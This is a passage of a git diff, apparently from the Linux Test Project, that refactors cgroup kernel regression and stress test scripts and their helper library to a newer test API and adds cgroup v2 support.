/dev/null 2>&1 - rmdir cgroup/[1-9]* > /dev/null 2>&1 + mount -t cgroup xxx cgroup/ > /dev/null 2>&1 + cat cgroup/release_agent > /dev/null 2>&1 umount cgroup/ > /dev/null 2>&1 done diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_6_2.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_6_2.sh new file mode 100644 index 00000000..0a9bbb18 --- /dev/null +++ b/testcases/kernel/controllers/cgroup/cgroup_regression_6_2.sh @@ -0,0 +1,11 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2009 FUJITSU LIMITED +# Author: Li Zefan + +trap exit USR1 + +while true; do + mount -t cgroup xxx cgroup/ > /dev/null 2>&1 + umount cgroup/ > /dev/null 2>&1 +done diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh index 592a1d3b..c241a5c4 100755 --- a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh +++ b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh @@ -1,27 +1,21 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2019 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Copyright (c) 2009 FUJITSU LIMITED # Author: Li Zefan TST_TESTFUNC=test TST_SETUP=do_setup TST_CLEANUP=do_cleanup -TST_CNT=9 +TST_CNT=8 TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="awk dmesg find mountpoint rmdir" -. cgroup_lib.sh - do_setup() { mkdir cgroup/ - if tst_kvcmp -lt "2.6.29"; then - tst_brk TCONF ignored "test must be run with kernel 2.6.29 or newer" - fi - if [ ! -f /proc/cgroups ]; then tst_brk TCONF ignored "Kernel does not support for control groups; skipping testcases"; fi @@ -170,17 +164,8 @@ test3() return fi - cpu_subsys_path=$(get_cgroup_mountpoint "cpu") - - # Run the test for 30 secs - if [ -z "$cpu_subsys_path" ]; then - mount -t cgroup -o cpu xxx cgroup/ - if [ $? -ne 0 ]; then - tst_res TFAIL "Failed to mount cpu subsys" - return - fi - cpu_subsys_path=cgroup - fi + cgroup_require "cpu" + cpu_subsys_path=$(cgroup_get_mountpoint "cpu") cgroup_regression_3_1.sh $cpu_subsys_path & pid1=$! @@ -193,7 +178,7 @@ test3() wait $pid2 2>/dev/null rmdir $cpu_subsys_path/0 2> /dev/null - tst_umount $PWD/cgroup + cgroup_cleanup check_kernel_bug } @@ -259,38 +244,26 @@ test5() } #--------------------------------------------------------------------------- -# Bug: There was a race between cgroup_clone and umount -# Kernel: 2.6.24 - 2.6.28, 2.6.29-rcX -# Links: http://lkml.org/lkml/2008/12/24/124 -# Fix: commit 7b574b7b0124ed344911f5d581e9bc2d83bbeb19 +# Bug: When running 2 concurrent mount/umount threads, lockdep warning +# may be triggered, it's a false positive, and it's VFS' issue but +# not cgroup. +# Kernel: 2.6.24 - 2.6.29-rcX +# Links: http://lkml.org/lkml/2009/1/4/352 +# Fix: commit ada723dcd681e2dffd7d73345cc8fda0eb0df9bd #--------------------------------------------------------------------------- test6() { - if tst_kvcmp -ge "3.0"; then - tst_res TCONF "CONFIG_CGROUP_NS is NOT supported in Kernels >= 3.0" - return - fi - - if ! grep -q -w "ns" /proc/cgroups; then - tst_res TCONF "CONFIG_CGROUP_NS is NOT enabled" - return - fi - cgroup_regression_6_1.sh & local pid1=$! - cgroup_regression_6_2 & + cgroup_regression_6_2.sh & local pid2=$! - tst_res TINFO "run test for 30 sec" sleep 30 - kill -USR1 $pid1 - kill -TERM $pid2 + kill -USR1 $pid1 $pid2 wait $pid1 2>/dev/null wait $pid2 2>/dev/null - mount -t cgroup -o ns xxx cgroup/ > /dev/null 2>&1 - rmdir cgroup/[1-9]* > /dev/null 2>&1 - tst_umount $PWD/cgroup + umount cgroup/ 2> /dev/null check_kernel_bug } @@ -305,21 +278,15 @@ test6() test_7_1() { local subsys=$1 + local subsys_path # we should be careful to select a $subsys_path which is related to # cgroup only: if cgroup debugging is enabled a 'debug' $subsys # could be passed here as params and this will lead to ambiguity and # errors when grepping simply for 'debug' in /proc/mounts since we'll # find also /sys/kernel/debug. Helper takes care of this. - local subsys_path=$(get_cgroup_mountpoint $subsys) - - if [ -z "$subsys_path" ]; then - mount -t cgroup -o $subsys xxx cgroup/ - if [ $? -ne 0 ]; then - tst_res TFAIL "failed to mount $subsys" - return - fi - subsys_path=cgroup - fi + + cgroup_require "$subsys" + subsys_path=$(cgroup_get_mountpoint "$subsys") mkdir $subsys_path/0 sleep 100 < $subsys_path/0 & # add refcnt to this dir @@ -334,6 +301,8 @@ test_7_1() wait $! 2>/dev/null umount cgroup/ fi + + cgroup_cleanup } test_7_2() @@ -415,28 +384,5 @@ test8() check_kernel_bug } -#--------------------------------------------------------------------------- -# Bug: When running 2 concurrent mount/umount threads, lockdep warning -# may be triggered, it's a false positive, and it's VFS' issue but -# not cgroup. -# Kernel: 2.6.24 - 2.6.29-rcX -# Links: http://lkml.org/lkml/2009/1/4/352 -# Fix: commit ada723dcd681e2dffd7d73345cc8fda0eb0df9bd -#--------------------------------------------------------------------------- -test9() -{ - cgroup_regression_9_1.sh & - local pid1=$! - cgroup_regression_9_2.sh & - local pid2=$! - - sleep 30 - kill -USR1 $pid1 $pid2 - wait $pid1 2>/dev/null - wait $pid2 2>/dev/null - - umount cgroup/ 2> /dev/null - check_kernel_bug -} - +. cgroup_lib.sh tst_run diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh index 53ab637e..6d558653 100755 --- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh +++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh @@ -1,43 +1,17 @@ #!/bin/sh - -################################################################################ -## ## -## Copyright (c) 2009 FUJITSU LIMITED ## -## Author: Shi Weihua ## -## Copyright (c) 2015 Cedric Hnyda ## -## Copyright (c) 2015-2016 Cyril Hrubis ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software Foundation, ## -## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2009 FUJITSU LIMITED +# Copyright (c) 2015 Cedric Hnyda +# Copyright (c) 2015-2016 Cyril Hrubis +# Author: Shi Weihua for arg; do TCID="${TCID}_$arg" done -. test.sh - -exist_subsystem() -{ - local subsystem="$1" - local exist=`grep -w $subsystem /proc/cgroups | cut -f1` - - if [ -z "$exist" ]; then - tst_brkm TCONF "Subsystem $subsystem not supported" - fi -} +TST_NEEDS_CMDS="rmdir killall" +TST_NEEDS_ROOT=1 +TST_NEEDS_TMPDIR=1 attach_and_check() { @@ -46,13 +20,13 @@ attach_and_check() local task shift - tst_resm TINFO "Attaching task $pid to $path" + tst_res TINFO "Attaching task $pid to $path" - ROD echo "$pid" \> "$path/tasks" + ROD echo "$pid" \> "$path/$task_list" - for task in $(cat "$path/tasks"); do + for task in $(cat "$path/$task_list"); do if [ "$task" -ne "$pid" ]; then - tst_resm TINFO "Unexpected pid $task in $path/tasks, expected $pid" + tst_res TINFO "Unexpected pid $task in $path/$task_list, expected $pid" return 1 fi done @@ -64,11 +38,13 @@ create_subgroup() { path="$1" - ROD mkdir "$path" + [ ! -d "$path" ] && ROD mkdir "$path" # cpuset.cpus and cpuset.mems must be initialized with suitable value - # before any pids are attached - if [ "$subsystem" = "cpuset" ]; then + # before any pids are attached. + # Only needs to be done for cgroup v1 as sets are inherited from parents + # by default in cgroup v2. + if [ "$cgroup_version" = "1" ] && [ "$subsystem" = "cpuset" ]; then if [ -e "$mount_point/cpus" ]; then ROD cat "$mount_point/cpus" \> "$path/cpus" ROD cat "$mount_point/mems" \> "$path/mems" @@ -79,54 +55,27 @@ create_subgroup() fi } - -setup() +common_setup() { - tst_require_root - tst_require_cmds killall - - if [ ! -f /proc/cgroups ]; then - tst_brkm TCONF "Kernel does not support for control groups" - fi - - exist_subsystem "$subsystem" - - tst_tmpdir - TST_CLEANUP=cleanup - - mount_point=`grep -w $subsystem /proc/mounts | grep -w "cgroup" | \ - cut -f 2 | cut -d " " -f2` - - if [ -z "$mount_point" ]; then - try_umount=1 - mount_point="/dev/cgroup" - tst_resm TINFO "Subsystem $subsystem is not mounted, mounting it at $mount_point" - ROD mkdir $mount_point - ROD mount -t cgroup -o "$subsystem" "ltp_cgroup" "$mount_point" - else - tst_resm TINFO "Subsystem $subsystem is mounted at $mount_point" - fi + cgroup_require "$subsystem" + mount_point=$(cgroup_get_mountpoint "$subsystem") + start_path=$(cgroup_get_test_path "$subsystem") + cgroup_version=$(cgroup_get_version "$subsystem") + task_list=$(cgroup_get_task_list "$subsystem") + + [ "$cgroup_version" = "2" ] && ROD echo "+$subsystem" \> "$start_path/cgroup.subtree_control" + tst_res TINFO "test starts with cgroup version $cgroup_version" } -cleanup() +common_cleanup() { - tst_rmdir - killall -9 cgroup_fj_proc >/dev/null 2>&1 - tst_resm TINFO "Removing all ltp subgroups..." - - find "$mount_point/ltp/" -depth -type d -exec rmdir '{}' \; + tst_res TINFO "Removing all ltp subgroups..." - if [ -z "$try_umount" ]; then - return - fi - - if grep -q "$mount_point" /proc/mounts; then - EXPECT_PASS umount "$mount_point" - fi + [ -d "$start_path" ] && find "$start_path" -depth -type d -exec rmdir '{}' \; - if [ -e "$mount_point" ]; then - EXPECT_PASS rmdir "$mount_point" - fi + cgroup_cleanup } + +. cgroup_lib.sh diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh index fc3ad1b6..b0c9410c 100755 --- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh +++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh @@ -1,32 +1,16 @@ #!/bin/sh - -################################################################################ -## ## -## Copyright (c) 2009 FUJITSU LIMITED ## -## Author: Shi Weihua ## -## Copyright (c) 2015 Cedric Hnyda ## -## Copyright (c) 2015-2016 Cyril Hrubis ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software Foundation, ## -## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2009 FUJITSU LIMITED +# Copyright (c) 2015 Cedric Hnyda +# Copyright (c) 2015-2016 Cyril Hrubis +# Author: Shi Weihua TCID="cgroup_fj_function2" -TST_TOTAL=7 - -. cgroup_fj_common.sh +TST_TESTFUNC=test +TST_SETUP=setup +TST_CLEANUP=cleanup +TST_CNT=9 +TST_POS_ARGS=1 subsystem=$1 @@ -36,7 +20,7 @@ usage_and_exit() echo " ./cgroup_fj_function2.sh subsystem" echo "example: ./cgroup_fj_function2.sh cpuset" - tst_brkm TBROK "$1" + tst_brk TBROK "$1" } if [ "$#" -ne "1" ]; then @@ -46,49 +30,67 @@ fi # Move a task from group to group test1() { + # mv'ing cgroups is not available in cgroup2 + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test" + return + fi + if ! attach_and_check "$pid" "$start_path/ltp_1"; then - tst_resm TFAIL "Failed to attach task" + tst_res TFAIL "Failed to attach task" return fi if ! attach_and_check "$pid" "$start_path"; then - tst_resm TFAIL "Failed to attach task" + tst_res TFAIL "Failed to attach task" return fi - tst_resm TPASS "Task attached succesfully" + tst_res TPASS "Task attached successfully" } # Group can be renamed with mv test2() { + # mv'ing cgroups is not available in cgroup2 + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test" + return + fi + create_subgroup "$start_path/ltp_2" if ! mv "$start_path/ltp_2" "$start_path/ltp_3"; then - tst_resm TFAIL "Failed to move $start_path/ltp_2 to $start_path/ltp_3" + tst_res TFAIL "Failed to move $start_path/ltp_2 to $start_path/ltp_3" rmdir "$start_path/ltp_2" return fi if ! rmdir "$start_path/ltp_3"; then - tst_resm TFAIL "Failed to remove $start_path/ltp_3" + tst_res TFAIL "Failed to remove $start_path/ltp_3" return fi - tst_resm TPASS "Successfully moved $start_path/ltp_2 to $start_path/ltp_3" + tst_res TPASS "Successfully moved $start_path/ltp_2 to $start_path/ltp_3" } # Group can be renamed with mv unless the target name exists test3() { + # mv'ing cgroups is not available in cgroup2 + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test" + return + fi + create_subgroup "$start_path/ltp_2" if mv "$start_path/ltp_2" "$start_path/ltp_1" > /dev/null 2>&1; then - tst_resm TFAIL "Moved $start_path/ltp_2 over existing $start_path/ltp_1" + tst_res TFAIL "Moved $start_path/ltp_2 over existing $start_path/ltp_1" return fi - tst_resm TPASS "Failed to move $start_path/ltp_2 over existing $start_path/ltp_1" + tst_res TPASS "Failed to move $start_path/ltp_2 over existing $start_path/ltp_1" ROD rmdir "$start_path/ltp_2" } @@ -97,77 +99,104 @@ test3() test4() { if ! attach_and_check "$pid" "$start_path/ltp_1"; then - tst_resm TFAIL "Failed to attach $pid to $start_path/ltp_1" + tst_res TFAIL "Failed to attach $pid to $start_path/ltp_1" return fi if rmdir "$start_path/ltp_1" > /dev/null 2>&1; then - tst_resm TFAIL "Removed $start_path/ltp_1 which contains task $pid" - create_subgroup "$start_path/ltp_1" + tst_res TFAIL "Removed $start_path/ltp_1 which contains task $pid" return fi - tst_resm TPASS "Group $start_path/ltp_1 with task $pid cannot be removed" + tst_res TPASS "Group $start_path/ltp_1 with task $pid cannot be removed" } # Group with a subgroup cannot be removed test5() { + # We need to move the tasks back to root to create a subgroup + if [ "$cgroup_version" = "2" ]; then + for pid in $(cat "$start_path/ltp_1/$task_list"); do + echo $pid > "$mount_point/$task_list" 2> /dev/null + done + + ROD echo "+$subsystem" \> "$start_path/ltp_1/cgroup.subtree_control" + fi + create_subgroup "$start_path/ltp_1/a" if rmdir "$start_path/ltp_1" > /dev/null 2>&1; then - tst_resm TFAIL "Removed $start_path/ltp_1 which contains subdir 'a'" + tst_res TFAIL "Removed $start_path/ltp_1 which contains subdir 'a'" return fi - tst_resm TPASS "Dir $start_path/ltp_1 with subdir 'a' cannot be removed" + tst_res TPASS "Dir $start_path/ltp_1 with subdir 'a' cannot be removed" ROD rmdir "$start_path/ltp_1/a" - ROD echo "$pid" \> "$start_path/tasks" + [ "$cgroup_version" = "2" ] && ROD echo "-$subsystem" \> "$start_path/ltp_1/cgroup.subtree_control" + ROD echo "$pid" \> "$start_path/ltp_1/$task_list" } # Group cannot be moved outside of hierarchy test6() { + # mv'ing cgroups is not available in cgroup2 + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test" + return + fi + if mv "$start_path/ltp_1" "$PWD/ltp" > /dev/null 2>&1; then - tst_resm TFAIL "Subgroup $start_path/ltp_1 outside hierarchy to $PWD/ltp" + tst_res TFAIL "Subgroup $start_path/ltp_1 outside hierarchy to $PWD/ltp" return fi - tst_resm TPASS "Subgroup $start_path/ltp_1 cannot be moved to $PWD/ltp" + tst_res TPASS "Subgroup $start_path/ltp_1 cannot be moved to $PWD/ltp" } # Tasks file cannot be removed test7() { - if rm "$start_path/ltp_1/tasks" > /dev/null 2>&1; then - tst_resm TFAIL "Tasks file $start_path/ltp_1/tasks could be removed" + if rm "$start_path/ltp_1/$task_list" > /dev/null 2>&1; then + tst_res TFAIL "Tasks file $start_path/ltp_1/$task_list could be removed" return fi - tst_resm TPASS "Tasks file $start_path/ltp_1/tasks cannot be removed" + tst_res TPASS "Tasks file $start_path/ltp_1/tasks cannot be removed" } # Test notify_on_release with invalid inputs test8() { + # notify_on_release is not available in cgroup2 so skip the test + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test" + return + fi + if echo "-1" > "$start_path/ltp_1/notify_on_release" 2>/dev/null; then - tst_resm TFAIL "Can write -1 to $start_path/ltp_1/notify_on_release" + tst_res TFAIL "Can write -1 to $start_path/ltp_1/notify_on_release" return fi if echo "ltp" > "$start_path/ltp_1/notify_on_release" 2>/dev/null; then - tst_resm TFAIL "Can write ltp to $start_path/ltp_1/notify_on_release" + tst_res TFAIL "Can write ltp to $start_path/ltp_1/notify_on_release" return fi - tst_resm TPASS "Cannot write invalid values to $start_path/ltp_1/notify_on_release" + tst_res TPASS "Cannot write invalid values to $start_path/ltp_1/notify_on_release" } # Test that notify_on_release can be changed test9() { + # notify_on_release is not available in cgroup2 so skip the test + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test" + return + fi + local notify=$(ROD cat "$start_path/ltp_1/notify_on_release") local value @@ -178,37 +207,33 @@ test9() fi if ! echo "$value" > "$start_path/ltp_1/notify_on_release"; then - tst_resm TFAIL "Failed to set $start_path/ltp_1/notify_on_release to $value" + tst_res TFAIL "Failed to set $start_path/ltp_1/notify_on_release to $value" return fi ROD echo "$notify" \> "$start_path/ltp_1/notify_on_release" - tst_resm TPASS "Set $start_path/ltp_1/notify_on_release to $value" + tst_res TPASS "Set $start_path/ltp_1/notify_on_release to $value" } -setup - -cgroup_fj_proc& -pid=$! - -start_path="$mount_point/ltp" - -create_subgroup "$start_path" -create_subgroup "$start_path/ltp_1" +setup() +{ + common_setup + cgroup_fj_proc& + pid=$! + create_subgroup "$start_path/ltp_1" +} -test1 -test2 -test3 -test4 -test5 -test6 -test7 -test8 -test9 +cleanup() +{ + if [ -n "$pid" ]; then + kill -9 $pid >/dev/null 2>&1 + wait $pid >/dev/null 2>&1 + fi -ROD kill -9 $pid -wait $pid -ROD rmdir "$start_path/ltp_1" + rmdir "$start_path/ltp_1" >/dev/null 2>&1 + common_cleanup +} -tst_exit +. cgroup_fj_common.sh +tst_run diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c index 93bc8b74..e3c1153c 100755 --- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c +++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c @@ -1,24 +1,6 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) 2009 FUJITSU LIMITED */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/* Author: Shi Weihua */ -/* */ -/******************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +// Copyright (c) 2009 FUJITSU LIMITED +// Author: Shi Weihua #include #include diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh index 292df6f6..72d3c53f 100755 --- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh +++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh @@ -1,32 +1,16 @@ #!/bin/sh - -################################################################################ -## ## -## Copyright (c) 2009 FUJITSU LIMITED ## -## Author: Shi Weihua ## -## Copyright (c) 2015 Cedric Hnyda ## -## Copyright (c) 2015-2016 Cyril Hrubis ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software Foundation, ## -## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2009 FUJITSU LIMITED +# Copyright (c) 2015 Cedric Hnyda +# Copyright (c) 2015-2016 Cyril Hrubis +# Author: Shi Weihua TCID="cgroup_fj_stress" -TST_TOTAL=1 - -. cgroup_fj_common.sh +TST_CNT=1 +TST_TESTFUNC=do_test +TST_SETUP=setup +TST_CLEANUP=cleanup +TST_POS_ARGS=4 subsystem="$1" subgroup_num="$2" @@ -47,35 +31,9 @@ usage_and_exit() echo " each - attach process to each subgroup" echo "example: ./cgroup_fj_stress.sh cpuset 1 1 one" echo - tst_brkm TBROK "$1" + tst_brk TBROK "$1" } -if [ "$#" -ne "4" ]; then - usage_and_exit "Wrong number of parameters, expected 4" -fi - -case $subgroup_num in - ''|*[!0-9]*) usage_and_exit "Number of subgroups must be possitive integer";; - *) ;; -esac - -case $subgroup_depth in - ''|*[!0-9]*) usage_and_exit "Depth of the subgroup tree must be possitive integer";; - *) ;; -esac - -case $attach_operation in - 'none'|'one'|'each');; - *) usage_and_exit "Invalid attach operation: $attach_operation";; -esac - -setup - -export TMPFILE=./tmp_tasks.$$ - -count=0 -collected_pids= - build_subgroups() { local cur_path="$1" @@ -87,6 +45,12 @@ build_subgroups() fi create_subgroup "$cur_path" + + # We can only attach processes to the leaves of the tree in cgroup v2 which + # means we need to enable the controllers everywhere inbetween. + if [ "$cgroup_version" = "2" ] && [ "$cur_depth" -ne "$subgroup_depth" ]; then + ROD echo "+$subsystem" \> "$cur_path/cgroup.subtree_control" + fi count=$((count+1)) for i in $(seq 1 $subgroup_num); do @@ -113,8 +77,10 @@ attach_task() pid="$ppid" fi - if ! attach_and_check "$pid" "$cur_path"; then + if [ "$cgroup_version" = "2" ] && [ $cur_depth -eq $subgroup_depth ] || [ "$cgroup_version" = "1" ]; then + if ! attach_and_check "$pid" "$cur_path"; then fail=1 + fi fi for i in $(seq 1 $subgroup_num); do @@ -123,46 +89,79 @@ attach_task() done if [ -n "$ppid" ]; then - if ! attach_and_check "$pid" "$cur_path"; then - fail=1 + if [ "$cgroup_version" = "2" ] && [ $cur_depth -eq $subgroup_depth ] || [ "$cgroup_version" = "1" ]; then + if ! attach_and_check "$pid" "$cur_path"; then + fail=1 + fi fi fi } -start_path="$mount_point/ltp" +setup() +{ + export TMPFILE=./tmp_tasks.$$ + count=0 + collected_pids= + + case $subgroup_num in + ''|*[!0-9]*) usage_and_exit "Number of subgroups must be possitive integer";; + *) ;; + esac + + case $subgroup_depth in + ''|*[!0-9]*) usage_and_exit "Depth of the subgroup tree must be possitive integer";; + *) ;; + esac + + case $attach_operation in + 'none'|'one'|'each');; + *) usage_and_exit "Invalid attach operation: $attach_operation";; + esac + + common_setup +} -tst_resm TINFO "Creating subgroups ..." +cleanup() +{ + common_cleanup +} + +do_test() +{ + tst_res TINFO "Creating subgroups ..." -build_subgroups "$start_path" 0 + build_subgroups "$start_path" 0 -tst_resm TINFO "... mkdired $count times" + tst_res TINFO "... mkdired $count times" -case $attach_operation in -"one" ) - cgroup_fj_proc & - pid=$! + case $attach_operation in + "one" ) + cgroup_fj_proc & + pid=$! - tst_resm TINFO "Moving one task around" - attach_task "$start_path" 0 "$pid" - ROD kill -9 "$pid" - wait "$pid" - ;; -"each" ) - tst_resm TINFO "Attaching task to each subgroup" - attach_task "$start_path" 0 - for pid in $collected_pids; do + tst_res TINFO "Moving one task around" + attach_task "$start_path" 0 "$pid" ROD kill -9 "$pid" wait "$pid" - done - ;; -* ) - ;; -esac - -if [ -n "$fail" ]; then - tst_resm TFAIL "Attaching tasks failed!" -else - tst_resm TPASS "All done!" -fi - -tst_exit + ;; + "each" ) + tst_res TINFO "Attaching task to each subgroup" + attach_task "$start_path" 0 + for pid in $collected_pids; do + ROD kill -9 "$pid" + wait "$pid" + done + ;; + * ) + ;; + esac + + if [ -n "$fail" ]; then + tst_res TFAIL "Attaching tasks failed!" + else + tst_res TPASS "All done!" + fi +} + +. cgroup_fj_common.sh +tst_run diff --git a/testcases/kernel/controllers/cgroup_lib.sh b/testcases/kernel/controllers/cgroup_lib.sh index 7918b563..9e59221a 100755 --- a/testcases/kernel/controllers/cgroup_lib.sh +++ b/testcases/kernel/controllers/cgroup_lib.sh @@ -1,39 +1,136 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2019 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Copyright (c) 2018-2019 ARM Ltd. All Rights Reserved. +# Copyright (c) 2022 Canonical Ltd. -. tst_test.sh +_cgroup_state= -# Find mountpoint to given subsystem -# get_cgroup_mountpoint SUBSYSTEM -# RETURN: 0 if mountpoint found, otherwise 1 -get_cgroup_mountpoint() +# Find mountpoint of the given controller +# USAGE: cgroup_get_mountpoint CONTROLLER +# RETURNS: Prints the mountpoint of the given controller +# Must call cgroup_require before calling +cgroup_get_mountpoint() { - local subsystem=$1 - local mntpoint + local ctrl="$1" + local mountpoint - [ $# -eq 0 ] && tst_brk TBROK "get_cgroup_mountpoint: subsystem not defined" + [ "$ctrl" ] || tst_brk TBROK "cgroup_get_mountpoint: controller not defined" + [ "$_cgroup_state" ] || tst_brk TBROK "cgroup_get_mountpoint: No previous state found. Forgot to call cgroup_require?" - mntpoint=$(grep cgroup /proc/mounts | grep -w $subsystem | awk '{ print $2 }') - [ -z "$mntpoint" ] && return 1 + mountpoint=$(echo "$_cgroup_state" | grep -w "^$ctrl" | awk '{ print $4 }') + echo "$mountpoint" - echo $mntpoint return 0 } -# Check if given subsystem is supported and enabled -# is_cgroup_subsystem_available_and_enabled SUBSYSTEM -# RETURN: 0 if subsystem supported and enabled, otherwise 1 -is_cgroup_subsystem_available_and_enabled() +# Get the test path of a given controller that has been created by the cgroup C API +# USAGE: cgroup_get_test_path CONTROLLER +# RETURNS: Prints the path to the test direcory +# Must call cgroup_require before calling +cgroup_get_test_path() { - local val - local subsystem=$1 + local ctrl="$1" + local mountpoint + local test_path + + [ "$ctrl" ] || tst_brk TBROK "cgroup_get_test_path: controller not defined" + [ "$_cgroup_state" ] || tst_brk TBROK "cgroup_get_test_path: No previous state found. Forgot to call cgroup_require?" + + mountpoint=$(cgroup_get_mountpoint "$ctrl") - [ $# -eq 0 ] && tst_brk TBROK "is_cgroup_subsystem_available_and_enabled: subsystem not defined" + test_path="$mountpoint/ltp/test-$$" - val=$(grep -w $subsystem /proc/cgroups | awk '{ print $4 }') - [ "$val" = "1" ] && return 0 + [ ! -e "$test_path" ] && tst_brk TBROK "cgroup_get_test_path: No test path found. Forgot to call cgroup_require?" - return 1 + echo "$test_path" + + return 0 } + +# Gets the cgroup version of the given controller +# USAGE: cgroup_get_version CONTROLLER +# RETURNS: "1" if version 1 and "2" if version 2 +# Must call cgroup_require before calling +cgroup_get_version() +{ + local ctrl="$1" + local version + + [ "$ctrl" ] || tst_brk TBROK "cgroup_get_version: controller not defined" + [ "$_cgroup_state" ] || tst_brk TBROK "cgroup_get_version: No previous state found. Forgot to call cgroup_require?" + + version=$(echo "$_cgroup_state" | grep -w "^$ctrl" | awk '{ print $2 }') + [ "$version" ] || tst_brk TBROK "cgroup_get_version: Could not find controller $ctrl" + + echo "$version" + + return 0 +} + +# Cleans up any setup done by calling cgroup_require. +# USAGE: cgroup_cleanup +# Can be safely called even when no setup has been done +cgroup_cleanup() +{ + [ "$_cgroup_state" ] || return 0 + + ROD tst_cgctl cleanup "$_cgroup_state" + + _cgroup_state= + + return 0 +} + +# Get the task list of the given controller +# USAGE: cgroup_get_task_list CONTROLLER +# RETURNS: prints out "cgroup.procs" if version 2 otherwise "tasks" +# Must call cgroup_require before calling +cgroup_get_task_list() +{ + local ctrl="$1" + local version + + [ "$ctrl" ] || tst_brk TBROK "cgroup_get_task_list: controller not defined" + + version=$(cgroup_get_version "$ctrl") + + if [ "$version" = "2" ]; then + echo "cgroup.procs" + else + echo "tasks" + fi + + return 0 +} + +# Mounts and configures the given controller +# USAGE: cgroup_require CONTROLLER +cgroup_require() +{ + local ctrl="$1" + local ret + + [ "$ctrl" ] || tst_brk TBROK "cgroup_require: controller not defined" + + [ ! -f /proc/cgroups ] && tst_brk TCONF "Kernel does not support control groups" + + _cgroup_state=$(tst_cgctl require "$ctrl" $$) + ret=$? + + if [ $ret -eq 32 ]; then + tst_brk TCONF "'tst_cgctl require' exited. Controller is probably not available?" + return $ret + fi + + if [ $ret -ne 0 ]; then + tst_brk TBROK "'tst_cgctl require' exited" + return $ret + fi + + [ "$_cgroup_state" ] || tst_brk TBROK 